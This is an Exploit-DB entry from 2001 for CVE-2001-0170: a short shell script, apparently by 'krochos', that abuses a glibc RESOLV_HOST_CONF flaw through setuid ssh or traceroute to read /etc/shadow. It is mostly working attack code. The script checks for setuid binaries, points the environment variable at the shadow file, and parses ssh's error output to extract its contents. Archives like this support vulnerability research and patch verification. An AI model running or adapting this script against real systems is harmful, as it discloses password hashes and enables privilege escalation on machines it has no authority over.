glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read

Author: krochos
type: local
platform: linux
port: 
date_added: 2001-01-24  
date_updated: 2017-11-15  
verified: 1  
codes: OSVDB-1710;CVE-2001-0170  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comglibc-2.2.1.tar.gz  

raw file: 258.sh  

# Charles Stevenson <csteven@newhope.terraplex.com>
# glibc-2.2 and openssh-2.3.0p1 (Debian 2.3 , Redhat 7.0)
# This exploits is for glibc >= 2.1.9x.
# (****krochos@linuxmail.org****)
# Edit this if you have a problem with path

ssh=/usr/bin/ssh
traceroute=/usr/sbin/traceroute
FILE=/etc/shadow        # File to read
###############################################################################

echo "$ssh"
echo "[*] Checking permisions..."

if [ ! -u $ssh ]; then
        echo "$ssh is NOT setuid on this system or does not exist at all!"
        if [ ! -u $traceroute ]; then
          echo "$traceroute is NOT setuid on this system or does not exist at all!"
          exit 0
        fi
fi

export RESOLV_HOST_CONF=$FILE

echo "[*] Glibc bug found by Charles Stevenson <csteven@NEWHOPE.TERRAPLEX.COM>"
echo "[*] krochos@linuxmail.org"
sleep 1
echo "[*] export  RESOLV_HOST_CONF=/etc/shadow"
ssh lt 2>/tmp/.resolv
cat /tmp/.resolv |  cut -d"\`" -f5,2 | awk -F"\'" '{print $1} '

# milw0rm.com [2001-01-25]